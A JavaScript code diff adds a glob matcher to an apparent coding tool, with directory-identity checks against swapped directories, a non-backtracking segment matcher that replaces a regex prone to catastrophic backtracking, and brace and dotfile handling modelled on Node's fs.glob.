+ // under the parent PATH right now? Keep the lstat result — it is
1612
+ // the verified directory's own view of the entry.
1613
+ const outcomes = await Promise.all(batch.map((d) =>
1614
+ lstat(join(parentPath, d.name)).then(
1615
+ (st) => st,
1616
+ (err) => (err && err.code === 'ENOENT' ? 'gone' : 'error'),
1617
+ )))
1618
+ // An entry that could not be checked (anything but ENOENT) is skipped
1619
+ // and the listing continues; see the end of the iteration for the root.
1620
+ if (__testSeam) await __testSeam(parentPath, 'after-entry-lstat', batch.map((d) => d.name))
1621
+ // Step 2, AFTER step 1: is the parent still the verified directory?
1622
+ if (!(await isStillVerifiedDir(parentPath, parentStat))) return
1623
+ for (let i = 0; i < batch.length; i++) {
1624
+ const st = outcomes[i]
1625
+ if (st === 'gone') continue // deleted concurrently, parent intact
1626
+ if (st === 'error') { unverifiable++; continue }
1627
+ verified++
1628
+ // Yield the entry's TYPE from the step-1 lstat, never from the
1629
+ // Dirent: `dh` may be bound to a swapped-in outside directory, and
1630
+ // a name both directories share would otherwise carry the OUTSIDE
1631
+ // entry's isDirectory()/isSymbolicLink() into walk's descend and
1632
+ // symlink decisions. `name`, `isDirectory()` and `isSymbolicLink()`
1633
+ // are all walk reads.
1634
+ yield {
1635
+ name: batch[i].name,
1636
+ isDirectory: () => st.isDirectory(),
1637
+ isSymbolicLink: () => st.isSymbolicLink(),
1638
+ isFile: () => st.isFile(),
1639
+ }
1640
+ }
1641
+ }
1642
+ // A root none of whose entries could be checked is an error result, not
1643
+ // a quiet "no matches".
1644
+ if (isRoot && unverifiable > 0 && verified === 0) throw new Error(`cannot verify the entries of ${parentPath}`)
1645
+ } finally {
1646
+ // Closes `dh` on an early exit; a no-op once it is exhausted.
1647
+ try { await it.return?.() } catch { /* already closed */ }
1648
+ }
1649
+ },
1650
+ close: () => dh.close(),
1651
+ }
1652
+ }
1653
+
1654
+ /**
1655
+ * The one directory identity check used by the Glob walk: `stat` (taken with
1656
+ * `bigint: true`, from an lstat or from an fstat of an opened handle) describes
1657
+ * a real directory, not a symlink, with a nonzero inode, and has the same
1658
+ * device and inode as `verifiedStat`. Every term is checked at every call site,
1659
+ * so an edit here reaches all of them. `tests/byok-dir-identity-guard.test.js`
1660
+ * fails if another hand-written device/inode comparison appears in this file.
1661
+ */
1662
+ function isVerifiedDirIdentity(stat, verifiedStat) {
1663
+ return !stat.isSymbolicLink() &&
1664
+ stat.isDirectory() &&
1665
+ stat.ino !== 0n &&
1666
+ stat.dev === verifiedStat.dev &&
1667
+ stat.ino === verifiedStat.ino
1668
+ }
1669
+
1670
+ async function isStillVerifiedDir(path, verifiedStat) {
1671
+ let st
1672
+ try {
1673
+ st = await lstat(path, { bigint: true })
1674
+ } catch {
1675
+ return false
1676
+ }
1677
+ return isVerifiedDirIdentity(st, verifiedStat)
1678
+ }
1679
+
1680
+ /**
1681
+ * #7355 — parse a single glob PATTERN SEGMENT (no `/`) into a token array for
1682
+ * {@link segmentMatches}. Scope is exactly the syntax
1683
+ * {@link GLOB_PATTERN_SHELL_METACHARS} lets through to `fs.glob`: `*`, `?`,
1684
+ * `[...]`/`[!...]`/`[^...]` bracket expressions (with `-` ranges), and
1685
+ * `{a,b}` brace alternation (recursive — an alternative may itself contain
1686
+ * any of the above, including nested braces). No backslash escapes: `\` is
1687
+ * rejected from every Glob pattern upstream, so none are interpreted here
1688
+ * either — every other character is a literal.
1689
+ *
1690
+ * #7898 (this fix) — this used to compile straight to a `RegExp` (`*`/`?` as
1691
+ * `[\s\S]*`/`[\s\S]`, `{a,b}` as `(?:a|b)`), tested via `RegExp#test` in
1692
+ * {@link caseCheckPasses}. That is a BACKTRACKING regex: a segment shaped
1693
+ * like `*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*b` tested against a REAL
1694
+ * on-disk name that almost-but-doesn't match (`'a'.repeat(n)`, no trailing
1695
+ * `b`) is the textbook catastrophic-backtracking shape — measured: 0.03ms at
1696
+ * n=20, 811ms at n=30, 5.9s at n=32, and it only gets worse from there (each
1697
+ * +2 chars roughly 7-8x's the previous run). This check runs SYNCHRONOUSLY,
1698
+ * once per real directory entry `walkGlob` (#7901) reads, interleaved with
1699
+ * `runGlob`'s own 30s walk-timeout race rather than after it — but a single
1700
+ * over-budget call would still block the event loop for its own duration
1701
+ * regardless of the race around it, so nothing upstream of the complexity cap
1702
+ * below may assume this check is cheap. `**`-count no longer fails this class
1703
+ * of pattern closed before reaching the regex either (that was this exact
1704
+ * defect class's OWN prior fix, in this same commit, removing the `ambiguous`
1705
+ * short-circuit for 2+ `**` segments) — so every pattern shape now reaches
1706
+ * this segment matcher, which is why it has to be safe on its own rather than
1707
+ * relying on an upstream fail-closed path to shield it.
1708
+ *
1709
+ * The replacement is a token list consumed by an iterative, non-backtracking
1710
+ * DP ({@link segmentMatches}) — the same technique {@link caseCheckPasses}
1711
+ * already uses one level up for `**` across path segments, just applied one
1712
+ * level down, per CHARACTER, to `*`/`?` within a single segment. Verified
1713
+ * behaviorally identical to the former regex compiler across 20,000 random
1714
+ * (pattern, string) pairs before this fix landed, and safe: n=5000 against
1715
+ * the exact pathological pattern above now takes ~5ms, not "does not finish".
1716
+ *
1717
+ * `*`/`?` match a literal newline within a segment too (a filename may
1718
+ * legally contain one — see #7357): the DP advances by testing `str[j]`
1719
+ * directly against no character at all (`any`/`star`), never through a `.`-
1720
+ * style regex metachar that would need `[\s\S]` to include `\n` — matching
1721
+ * every character, newlines included, needs no special-casing here.
1722
+ *
1723
+ * DOT HANDLING (#7901) — added when `walkGlob` became this matcher's OWN
1724
+ * candidate source rather than a post-hoc re-check over candidates `fs.glob`
1725
+ * already filtered. `fs.glob`'s default (verified directly against Node 22's
1726
+ * `glob()`) never lets a bare `*`, `?`, or an ordinary bracket class stand for
1727
+ * a REAL segment's leading dot: `*.ts` does not match `.env`, `?env` does
1728
+ * not, `[.a]env`/`[a.]env` (a class with more than one member, even when `.`
1729
+ * is one of them) does not, `[^a]env`/`[!a]env` (a negated class that would
1730
+ * incidentally accept `.` under ordinary regex semantics) does not — only a
1731
+ * LITERAL leading `.` (`.env*`, `.[a-z]*`) reaches a dotfile, with exactly one
1732
+ * observed exception: `[.]` — a non-negated class whose SOLE member is a
1733
+ * literal dot — is privileged the same as a literal `.` (`[.]env` matches
1734
+ * `.env`); a class with any other member alongside the dot is not. This is
1735
+ * encoded as `soleDot` on a `class` token ({@link parseBracketExpr}) and
1736
+ * enforced by {@link advanceToken}'s dot guard, which triggers ONLY at real
1737
+ * offset 0 — everywhere else a `.` is an ordinary character, matched like any
1738
+ * other. `**` gets no such exception ever (it carries no literal text of its
1739
+ * own to be "explicit" with): see {@link walkGlob}'s own dot check.
1740
+ */
1741
+ function parseSegmentTokens(seg) {
1742
+ const tokens = []
1743
+ // #7951 review — every `{` this loop reaches asks where its group closes.
1744
+ // Answered from ONE bracket-aware pairing pass over the segment, built on
1745
+ // first use, instead of one forward rescan per `{` — see braceCloseTable's
1746
+ // doc for the measured cubic cost a per-`{` rescan has once pairing skips
1747
+ // bracket expressions.
1748
+ let closeTable = null
1749
+ // #7965 — a `[` after the last `]` cannot open a class (there is no `]`
1750
+ // left to close it), so asking {@link parseBracketExpr} about it only buys a
1751
+ // full `indexOf` to the end that finds nothing, plus an allocation: per `[`
1752
+ // of an unclosed run, i.e. quadratic. One lookup up front, then those `[`
1753
+ // are literals without a scan. Same skip as {@link hostBraceNestingDepth}'s.
1754
+ const lastClose = seg.lastIndexOf(']')
1755
+ let i = 0
1756
+ while (i < seg.length) {
1757
+ const c = seg[i]
1758
+ if (c === '*') {
1759
+ tokens.push({ t: 'star' })
1760
+ i++
1761
+ } else if (c === '?') {
1762
+ tokens.push({ t: 'any' })
1763
+ i++
1764
+ } else if (c === '[') {
1765
+ const parsed = i < lastClose ? parseBracketExpr(seg, i) : null
1766
+ if (parsed) {
1767
+ // A bracket class only ever tests ONE character at a time (see
1768
+ // `advanceToken`'s 'class' arm) — a single-char regex test can never
1769
+ // backtrack, so reusing RegExp here for the class body is safe,
1770
+ // unlike compiling the WHOLE segment (including `*`/`?` runs) to one.
1771
+ //
1772
+ // #7898 round 3 — `parseBracketExpr` accepts any `-`-range TEXT
1773
+ // (`[z-a]`, `[9-0]`, `[b-!a!x]` from combining adjacent special
1774
+ // characters) without checking the range is in order; JS's `RegExp`
1775
+ // constructor rejects an out-of-order range (`Range out of order in
1776
+ // character class`) and THROWS, synchronously, from inside
1777
+ // `compileCaseCheck` — which runs unconditionally, for every Glob
1778
+ // call whose pattern has a bracket segment, before a single directory
1779
+ // entry is even read (`runGlob` calls it up front). Nothing between
1780
+ // here and `executeBuiltinTool` catches it, so an ordinary "No
1781
+ // matches" (confirmed empirically: `fs.glob` itself tolerates
1782
+ // `[z-a]bc.ts` and simply matches nothing, it does not throw) turns
1783
+ // into a surfaced `Tool Glob failed: Invalid regular expression...`
1784
+ // error instead. Fail closed the same way an unclosed `[` or a
1785
+ // malformed segment already does elsewhere in this parser: a bracket
1786
+ // expression JS cannot compile becomes a token that matches no
1787
+ // character, ever — never a crash.
1788
+ let re
1789
+ try {
1790
+ re = new RegExp(`^${parsed.source}$`)
1791
+ } catch {
1792
+ tokens.push({ t: 'none' })
1793
+ i = parsed.next
1794
+ continue
1795
+ }
1796
+ tokens.push({ t: 'class', re, soleDot: parsed.soleDot })
1797
+ i = parsed.next
1798
+ } else {
1799
+ tokens.push({ t: 'lit', ch: '[' })
1800
+ i++
1801
+ }
1802
+ } else if (c === '{') {
1803
+ closeTable ??= braceCloseTable(seg)
1804
+ const close = closeTable[i]
1805
+ if (close === -1) {
1806
+ tokens.push({ t: 'lit', ch: '{' })
1807
+ i++
1808
+ } else {
1809
+ const alts = splitTopLevelCommas(seg.slice(i + 1, close))
1810
+ // #7951 — a matched `{...}` with NO top-level comma is NOT
1811
+ // alternation to `fs.glob` (verified directly: `{dup}` against a
1812
+ // real file named `dup` returns no matches, while a real file
1813
+ // literally named `{braces}.txt` IS matched by the pattern
1814
+ // `{braces}.txt` — same rule `expandBraces` already documents for
1815
+ // the slash-spanning path). Before this fix, EVERY matched brace
1816
+ // pair became an `alt` token regardless of comma count, so
1817
+ // `{dup}` wrongly matched `dup` and `brackets/{braces}.txt` missed
1818
+ // the real file entirely.
1819
+ //
1820
+ // Fix: only compile to `alt` when there is more than one
1821
+ // alternative. Otherwise treat the '{' as an ordinary literal
1822
+ // token and let THIS SAME loop keep scanning its interior
1823
+ // normally — a wildcard/bracket-class inside still functions
1824
+ // (`{a*}` still lets `*` match), and a NESTED brace group that
1825
+ // DOES have its own top-level comma still expands when the loop
1826
+ // reaches it (only the braces immediately enclosing a comma-less
1827
+ // body are literal, not everything inside them) — matching
1828
+ // `expandBraces`'s "anything expandable nested inside it still
1829
+ // expands" rule exactly. The matching '}' is reached later by
1830
+ // this same loop's `else` branch, which already treats a bare
1831
+ // '}' as a literal character.
1832
+ if (alts.length > 1) {
1833
+ tokens.push({ t: 'alt', options: alts.map(parseSegmentTokens) })
1834
+ i = close + 1
1835
+ } else {
1836
+ tokens.push({ t: 'lit', ch: '{' })
1837
+ i++
1838
+ }
1839
+ }
1840
+ } else {
1841
+ tokens.push({ t: 'lit', ch: c })
1842
+ i++
1843
+ }
1844
+ }
1845
+ return tokens
1846
+ }
1847
+
1848
+ /**
1849
+ * Advance a SET of reachable string offsets in `str` through one
1850
+ * {@link parseSegmentTokens} token, without backtracking:
1851
+ * - `lit`/`any`/`class` consume exactly one character from each reachable
1852
+ * offset (O(|reachable|) work — never more than `str.length` offsets are
1853
+ * ever live at once, so this cannot blow up regardless of how the
1854
+ * pattern is shaped).
1855
+ * - `star` matches zero or more characters: once ANY offset is reachable,
1856
+ * every LATER offset becomes reachable too, computed as a prefix-OR scan
1857
+ * from the minimum reachable offset (the same trick {@link caseCheckPasses}
1858
+ * already uses for `**` one level up, here per character) — O(str.length),
1859
+ * never an inner retry loop.
1860
+ * - `alt` (a `{a,b}` brace) tries each alternative from the WHOLE reachable
1861
+ * set at once via a single nested {@link advanceTokens} call per option,
1862
+ * and unions the results — bounded by (alternatives) × (that
1863
+ * alternative's own cost), which is O(str.length) per option regardless
1864
+ * of |reachable|, for the same reason `star` above is: `advanceToken` is
1865
+ * a function that COMMUTES with set union (`f(A ∪ B) = f(A) ∪ f(B)` for
1866
+ * every token type, `star` included — its output only depends on
1867
+ * `min(reachable)`, and `min(A ∪ B) = min(min(A), min(B))`), so feeding
1868
+ * an option the FULL reachable set in one call is provably identical to
1869
+ * feeding it each singleton `{j}` separately and unioning — just without
1870
+ * redoing the option's own O(str.length) work once per `j`.
1871
+ *
1872
+ * #7898 round 3 — this used to loop `for (const j of reachable) { for
1873
+ * (const option ...) { advanceTokens(option, str, new Set([j])) } }`,
1874
+ * recomputing each option from scratch for every individual reachable
1875
+ * offset. That is the same shape of accidental quadratic blowup the
1876
+ * `star` fix above exists to avoid, just one level up: a segment built
1877
+ * from L sequential `{*a,*b}`-shaped groups (an ordinary, unremarkable
1878
+ * glob shape — `{*.ts,*.js}` is a completely normal pattern) pays
1879
+ * O(|reachable|) = O(str.length) extra work at EVERY such group, because
1880
+ * each group's own `*` re-expands reachable back to near-`str.length`
1881
+ * before the next group starts. Measured on the un-batched version: a
1882
+ * 20×`{*a,*b}` pattern (140 chars) against a 5000-char non-matching real
1883
+ * segment took 12.96 SECONDS; even bounded to a filesystem-realistic
1884
+ * 255-byte name, 100 sequential groups (a 700-char pattern, well within
1885
+ * what an attacker can type — nothing upstream caps `pattern` length)
1886
+ * already exceeded 100ms. `compileCaseCheck`/`caseCheckPasses` run
1887
+ * SYNCHRONOUSLY per Glob match (up to `GLOB_COLLECT_CEILING` = 50,000 of
1888
+ * them), after `runGlob`'s own walk-timeout race has already resolved —
1889
+ * the exact single-threaded-event-loop-freeze shape `ccd677c4b` (this
1890
+ * same PR, one commit up) replaced a backtracking RegExp to eliminate,
1891
+ * reintroduced here through the one branch that still had an
1892
+ * |reachable|-proportional term. Batching removes it: this function is
1893
+ * now O(str.length) worst case for every token type, `alt` included.
1894
+ *
1895
+ * DOT GUARD (#7901) — see parseSegmentTokens's DOT HANDLING doc. `dotGuarded`
1896
+ * is true exactly when `str` (the REAL segment name being tested) starts with
1897
+ * a literal dot; the guard only ever changes behavior at offset 0, since
1898
+ * offset 0 becoming reachable at any LATER token means an earlier token
1899
+ * already legitimately consumed the leading dot, and every following
1900
+ * character is ordinary. It does not disturb the commutes-with-union property
1901
+ * the `alt` batching above relies on: whether 0 stays in a token's output
1902
+ * depends only on whether 0 was in its input, independent of anything else in
1903
+ * the set, so `f(A ∪ B) = f(A) ∪ f(B)` still holds token-type by token-type.
1904
+ */
1905
+ function advanceToken(token, str, reachable) {
1906
+ const n = str.length
1907
+ const dotGuarded = n > 0 && str[0] === '.'
1908
+ if (token.t === 'star') {
1909
+ const next = new Set()
1910
+ let min = Infinity
1911
+ for (const j of reachable) {
1912
+ // #7910 review (item 4) — `*` is NEVER dot-entitled, not even with
1913
+ // zero width: dropping offset 0 outright (rather than keeping it
1914
+ // reachable via a zero-width self-loop, as an earlier cut did) is what
1915
+ // `parseSegmentTokens`'s own doc already promises ("only a LITERAL
1916
+ // leading `.` ... reaches a dotfile"). The zero-width carve-out this
1917
+ // replaces let a LATER dot-entitled literal consume the leading dot
1918
+ // AFTER the star had "passed through" it doing nothing — which made
1919
+ // `*.env` match a real `.env` (verified: Node 22's `glob()` returns no
1920
+ // matches for `*.env` against `.env`). Offset 0 becoming reachable via
1921
+ // a LATER token (one that legitimately consumed the dot itself) is
1922
+ // unaffected — this only ever drops offset 0 from THIS token's own
1923
+ // output.
1924
+ if (dotGuarded && j === 0) continue
1925
+ if (j < min) min = j
1926
+ }
1927
+ if (min !== Infinity) { for (let j = min; j <= n; j++) next.add(j) }
1928
+ return next
1929
+ }
1930
+ const next = new Set()
1931
+ if (token.t === 'alt') {
1932
+ for (const option of token.options) {
1933
+ for (const end of advanceTokens(option, str, reachable)) next.add(end)
1934
+ }
1935
+ return next
1936
+ }
1937
+ // A `lit` token whose own character is '.' is always entitled to consume
1938
+ // offset 0; a `class` token is entitled only when parseBracketExpr flagged
1939
+ // it `soleDot` (the `[.]` exception — see its doc). Every other token type
1940
+ // (`any`, an ordinary `class`) is never entitled, matching `fs.glob`'s own
1941
+ // default of never letting a bare wildcard stand for a leading dot.
1942
+ const dotEntitled = token.t === 'lit' ? token.ch === '.' : token.t === 'class' && token.soleDot === true
1943
+ for (const j of reachable) {
1944
+ if (j >= n) continue
1945
+ if (j === 0 && dotGuarded && !dotEntitled) continue
1946
+ const c = str[j]
1947
+ if (token.t === 'lit' && c === token.ch) next.add(j + 1)
1948
+ else if (token.t === 'any') next.add(j + 1)
1949
+ else if (token.t === 'class' && token.re.test(c)) next.add(j + 1)
1950
+ // `t: 'none'` (a bracket expression `parseSegmentTokens` could not
1951
+ // compile to a RegExp — see its try/catch) intentionally matches no
1952
+ // branch above: it consumes nothing, ever, for any character. Fail
1953
+ // closed, on purpose, not an omission.
1954
+ }
1955
+ return next
1956
+ }
1957
+
1958
+ /** Run a whole {@link parseSegmentTokens} token array through {@link advanceToken}, in order. */
1959
+ function advanceTokens(tokens, str, startReachable) {
1960
+ let reachable = startReachable
1961
+ for (const token of tokens) {
1962
+ reachable = advanceToken(token, str, reachable)
1963
+ if (reachable.size === 0) return reachable
1964
+ }
1965
+ return reachable
1966
+ }
1967
+
1968
+ /**
1969
+ * Does a {@link parseSegmentTokens} token array match `str` exactly, start to
1970
+ * end (case-sensitively — `lit` compares characters with `===`)? The safe,
1971
+ * non-backtracking replacement for `new RegExp(...).test(str)`.
1972
+ */
1973
+ function segmentMatches(tokens, str) {
1974
+ const end = advanceTokens(tokens, str, new Set([0]))
1975
+ return end.has(str.length)
1976
+ }
1977
+
1978
+ /**
1979
+ * Parse a `[...]` bracket expression starting at `seg[openIdx] === '['`.
1980
+ * Returns `null` (caller treats `[` as a literal) when there is no closing
1981
+ * `]` — the same "unmatched metachar is literal" rule glob implementations
1982
+ * use. A `]` immediately after `[` or `[!`/`[^` is a literal `]`, per POSIX.
1983
+ *
1984
+ * `soleDot` (#7901) — true exactly when this class is `[.]`: non-negated,
1985
+ * one member, that member a literal dot. Node's `fs.glob` gives this one
1986
+ * shape of bracket class the same "explicit dot" privilege as a bare literal
1987
+ * `.` (verified directly: `[.]env` matches a real `.env`), while every other
1988
+ * class — `[.a]`, `[a.]`, any negated class, `.` on a `-` end of a range —
1989
+ * does not, even when `.` is technically among the characters it accepts. See
1990
+ * parseSegmentTokens's DOT HANDLING doc and advanceToken's dot guard, which
1991
+ * is the only place this flag is read.
1992
+ */
1993
+ function parseBracketExpr(seg, openIdx) {
1994
+ const next = bracketExprEnd(seg, openIdx)
1995
+ if (next === -1) return null
1996
+ const negate = seg[openIdx + 1] === '!' || seg[openIdx + 1] === '^'
1997
+ const body = seg.slice(openIdx + (negate ? 2 : 1), next - 1)
1998
+ // '-' is left alone (ranges mean the same thing in a JS class); '^' and ']'
1999
+ // are escaped so an unlucky position (leading '^', an already-consumed
2000
+ // leading ']') can't be misread as class syntax.
2001
+ const classBody = body.replace(/\^/g, '\\^').replace(/\]/g, '\\]')
2002
+ return { source: `[${negate ? '^' : ''}${classBody}]`, next, soleDot: !negate && body === '.' }
2003
+ }
2004
+
2005
+ /**
2006
+ * Where the bracket expression opening at `seg[openIdx] === '['` ends: the
2007
+ * index just past its closing `]`, or -1 when this `[` is a literal. This is
2008
+ * {@link parseBracketExpr}'s delimiting rule and its only implementation —
2009
+ * that function calls this one — so a scan that only needs to SKIP a bracket
2010
+ * expression (`hostBraceNestingDepth`) can do so without building the class
2011
+ * source, and cannot disagree with the parser about where the class ends.
2012
+ *
2013
+ * #7918 review — the native `indexOf` rather than a JS loop: same answer (the
2014
+ * first `]` at or after `j`, or none), but a run of unclosed `[` costs one
2015
+ * full scan per `[` either way, and #7918's brace expansion can hand up to
2016
+ * GLOB_BRACE_EXPANSION_CAP patterns to `compileCaseCheck` per call, so the
2017
+ * constant factor of that quadratic is no longer paid once.
2018
+ */
2019
+ function bracketExprEnd(seg, openIdx) {
2020
+ let j = openIdx + 1
2021
+ if (seg[j] === '!' || seg[j] === '^') j++
2022
+ const start = j
2023
+ if (seg[j] === ']') j++
2024
+ j = seg.indexOf(']', j)
2025
+ // An empty body cannot actually occur (a `]` at `start` is consumed as a
2026
+ // member above), but the rule "no body, no class" is kept explicit.
2027
+ if (j === -1 || j === start) return -1
2028
+ return j + 1
2029
+ }
2030
+
2031
+ /**
2032
+ * `closeOf[i]` — the index of the `}` matching a `{` at `i` in `seg`, or -1
2033
+ * when that `{` is unmatched (or `seg[i]` is not a `{`). One left-to-right
2034
+ * stack pass, so a matched pair is exactly the `{`/`}` a forward depth count
2035
+ * from `i` would stop at.
2036
+ *
2037
+ * #7951 — bracket-expression AWARE: a `{`/`}` inside a `[...]` class is a
2038
+ * class member, not brace syntax, so `{[}]a,b}`'s embedded `}` does not end
2039
+ * the group early. This is THIS MODULE'S rule, kept identical to
2040
+ * {@link expandBraces}'s pass-1 pairing so the per-segment and whole-pattern
2041
+ * paths never disagree on where a group ends. It is NOT a claim about
2042
+ * `fs.glob`: its brace expansion (`brace-expansion`'s `balanced-match`) knows
2043
+ * nothing about brackets at all. The two agree on `{a[}]b,fc}` (both yield
2044
+ * the alternatives `a[}]b` and `fc`) only because `brace-expansion` has a
2045
+ * separate rule that re-pairs a comma-less group's `}` as literal when a
2046
+ * `,…}` follows it — and they disagree on `{a,b[}]c}`, where `fs.glob` closes
2047
+ * the group at the bracketed `}`. The parity harness pins those shapes in
2048
+ * its #7951 known-difference bucket rather than claiming a parity that does
2049
+ * not hold.
2050
+ *
2051
+ * COST (#7951 review) — the previous per-`{` forward scan re-parsed every
2052
+ * bracket expression after that `{` on every call. A `{` that bracket-aware
2053
+ * pairing leaves unmatched (`{[}]`) scans to the end of the segment, and an
2054
+ * unclosed `[` costs a full `indexOf` to the end each time it is re-parsed.
2055
+ * Even held to 30 such `{` (under the host depth ceiling in `runGlob`),
2056
+ * `'{1..999}' + '{[}]'.repeat(30) + '['.repeat(1870)` cost ~2.2ms per
2057
+ * compile, times the 999 patterns `runGlob` compiles: 2.1s of CPU for one
2058
+ * Glob call, against ~90ms with this table (origin/main, pairing
2059
+ * bracket-oblivious, did not expand ranges at all). One pass per segment costs what
2060
+ * {@link parseSegmentTokens}'s own loop already costs (it too calls
2061
+ * {@link parseBracketExpr} at every `[`), whatever the number of `{`.
2062
+ */
2063
+ function braceCloseTable(seg) {
2064
+ const n = seg.length
2065
+ const closeOf = new Int32Array(n).fill(-1)
2066
+ const stack = []
2067
+ // #7965 — only where a class ENDS matters here, so {@link bracketExprEnd}
2068
+ // (no source string, no object) rather than {@link parseBracketExpr}, and a
2069
+ // `[` past the last `]` is skipped without the scan that finds no `]` —
2070
+ // the same two moves {@link hostBraceNestingDepth} makes.
2071
+ const lastClose = seg.lastIndexOf(']')
2072
+ let j = 0
2073
+ while (j < n) {
2074
+ const c = seg[j]
2075
+ if (c === '[' && j < lastClose) {
2076
+ const end = bracketExprEnd(seg, j)
2077
+ if (end !== -1) { j = end; continue }
2078
+ }
2079
+ if (c === '{') stack.push(j)
2080
+ else if (c === '}' && stack.length > 0) closeOf[stack.pop()] = j
2081
+ j++
2082
+ }
2083
+ return closeOf
2084
+ }
2085
+
2086
+ /**
2087
+ * The deepest `{` nesting {@link braceCloseTable}'s pairing reaches in `s` —
2088
+ * the same scan, keeping only the stack height. Every recursion
2089
+ * {@link parseSegmentTokens} and `advanceToken` perform is on a pair this
2090
+ * scan counts (and an unmatched `{` only raises it), so it is an upper bound
2091
+ * on their depth, which the bracket-oblivious `globPatternComplexityReason`
2092
+ * counter is not for this parser (see `runGlob`'s #7951 review note).
2093
+ *
2094
+ * COST — `runGlob` runs this over EVERY expanded pattern before the walk,
2095
+ * synchronously: up to 1,000 patterns of up to 2,000 chars, so it must be one
2096
+ * pass per pattern. It cannot instead run once over the raw pattern — an
2097
+ * expansion can nest far deeper than the pattern it came from (see the
2098
+ * runGlob note) — so its total is linear in the expansion's OUTPUT, the same
2099
+ * order as materializing that output and deduplicating it just before.
2100
+ * - `lastClose`: an unclosed `[` costs {@link bracketExprEnd} a full
2101
+ * `indexOf` to the end, so a run of them is quadratic per pattern —
2102
+ * ~70ms for the 999 expansions of `{1..999}` + 1,990 `[`, against ~3ms
2103
+ * when every `[` after the last `]` is skipped (it cannot open a class:
2104
+ * no `]` follows it).
2105
+ * - {@link bracketExprEnd}, not {@link parseBracketExpr}: the skip needs
2106
+ * only where a class ends, and building each class's source cost ~6x on
2107
+ * a run of closed classes (`[x]` x663 behind `{1..999}`: 34ms -> 6ms).
2108
+ * Measured, 999 expansions of each worst family: 3-6ms on the dev Mac; 6-16x
2109
+ * that under V8 block coverage (c8), which instruments this per-character
2110
+ * loop — which is why its tests compare against a control, not a clock.
2111
+ */
2112
+ function hostBraceNestingDepth(s) {
2113
+ const lastClose = s.lastIndexOf(']')
2114
+ const n = s.length
2115
+ let depth = 0
2116
+ let max = 0
2117
+ let j = 0
2118
+ while (j < n) {
2119
+ const c = s.charCodeAt(j)
2120
+ if (c === 0x7b) { // {
2121
+ if (++depth > max) max = depth
2122
+ } else if (c === 0x7d) { // }
2123
+ if (depth > 0) depth--
2124
+ } else if (c === 0x5b && j < lastClose) { // [
2125
+ const end = bracketExprEnd(s, j)
2126
+ if (end !== -1) { j = end; continue }
2127
+ }
2128
+ j++
2129
+ }
2130
+ return max
2131
+ }
2132
+
2133
+ /**
2134
+ * True when some `/`-segment of `pattern` — what `compileCaseCheck` hands to
2135
+ * {@link parseSegmentTokens} — nests braces deeper than
2136
+ * `GLOB_PATTERN_MAX_BRACE_DEPTH` as this host pairs them. ({@link expandBraces}
2137
+ * also recurses per nesting level, over the whole pattern, but it recurses
2138
+ * only on EXPANDING groups, one small frame each, and on origin/main it was
2139
+ * already bracket-aware; the parser and matcher are the deep frames.)
2140
+ */
2141
+ function hostBraceDepthExceeded(pattern) {
2142
+ for (const seg of pattern.split('/')) {
2143
+ if (hostBraceNestingDepth(seg) > GLOB_PATTERN_MAX_BRACE_DEPTH) return true
2144
+ }
2145
+ return false
2146
+ }
2147
+
2148
+ /**
2149
+ * Split a `{a,b,c}` body on top-level commas (commas inside nested `{}` don't
2150
+ * count). Two DIFFERENT bracket-awarenesses on purpose, matching
2151
+ * {@link braceCloseTable}/{@link expandBraces}'s own pass-1 exactly:
2152
+ * - bracket-AWARE for nested-`{`/`}` DEPTH — a `{` or `}` inside a `[...]`
2153
+ * class is a class member, never nested-brace syntax, so it must not
2154
+ * perturb `depth` (an embedded `}`, e.g. the one inside `[}]`, would
2155
+ * otherwise look like it closes a nested group that was never opened).
2156
+ * - bracket-OBLIVIOUS for COMMAS — a comma inside a `[...]` class still
2157
+ * splits, matching `fs.glob`'s own measured behavior exactly (`{a[,]b,c}`
2158
+ * against real files named `a[`, `]b`, `c` matches all three; `{p[,q]r,s}`
2159
+ * similarly splits 3 ways, not the 2 a bracket-aware split would give).
2160
+ * So a bracket span is scanned character-by-character for a comma (never
2161
+ * jumped over outright) while still being skipped for depth purposes.
2162
+ */
2163
+ function splitTopLevelCommas(s) {
2164
+ const parts = []
2165
+ let depth = 0
2166
+ let start = 0
2167
+ let i = 0
2168
+ while (i < s.length) {
2169
+ if (s[i] === '[') {
2170
+ const parsed = parseBracketExpr(s, i)
2171
+ if (parsed) {
2172
+ for (let k = i; k < parsed.next; k++) {
2173
+ if (s[k] === ',' && depth === 0) {
2174
+ parts.push(s.slice(start, k))
2175
+ start = k + 1
2176
+ }
2177
+ }
2178
+ i = parsed.next
2179
+ continue
2180
+ }
2181
+ }
2182
+ if (s[i] === '{') depth++
2183
+ else if (s[i] === '}') depth--
2184
+ else if (s[i] === ',' && depth === 0) {
2185
+ parts.push(s.slice(start, i))
2186
+ start = i + 1
2187
+ }
2188
+ i++
2189
+ }
2190
+ parts.push(s.slice(start))
2191
+ return parts
2192
+ }
2193
+
2194
+ /**
2195
+ * #7918 — cheap pre-check: does `pattern` contain a `/` character inside ANY
2196
+ * `{...}` group, at any nesting depth? When it does not, whole-pattern brace
2197
+ * expansion has nothing to offer over the existing per-segment `alt`-token
2198
+ * compiler — which is the common case (`*.{ts,js}`, `{a,b,c}/**`) and already
2199
+ * handles it in ONE walk with batched O(N) cost per option (see
2200
+ * `advanceToken`'s `alt` doc), a walk the general expand-then-union path below
2201
+ * cannot match: expanding an ordinary NON-spanning brace into separate
2202
+ * top-to-bottom tree walks would turn an ordinary chained-braces pattern into
2203
+ * a combinatorial fan-out of full walks, for a capability it never needed.
2204
+ * This gate keeps every such pattern on the fast, existing, already-tested
2205
+ * path — {@link expandBraces} only runs when this returns `true`.
2206
+ */
2207
+ function hasSlashSpanningBrace(pattern) {
2208
+ let i = 0
2209
+ let braceDepth = 0
2210
+ while (i < pattern.length) {
2211
+ const c = pattern[i]
2212
+ if (c === '[') {
2213
+ const parsed = parseBracketExpr(pattern, i)
2214
+ if (parsed) { i = parsed.next; continue }
2215
+ }
2216
+ if (c === '{') braceDepth++
2217
+ else if (c === '}') { if (braceDepth > 0) braceDepth-- }
2218
+ else if (c === '/' && braceDepth > 0) return true
2219
+ i++
2220
+ }
2221
+ return false
2222
+ }
2223
+
2224
+ /**
2225
+ * #7918 — BOUND on the whole-pattern brace expansion {@link hasSlashSpanningBrace}
2226
+ * gates: the pattern's own length and brace-nesting-depth caps
2227
+ * (`globPatternComplexityReason`, 2,000 chars / 32 levels) do not, by
2228
+ * themselves, bound the number of alternative STRINGS a chain of sibling
2229
+ * brace groups can expand to (`{a,b}{c,d}{e,f}...` — each additional group
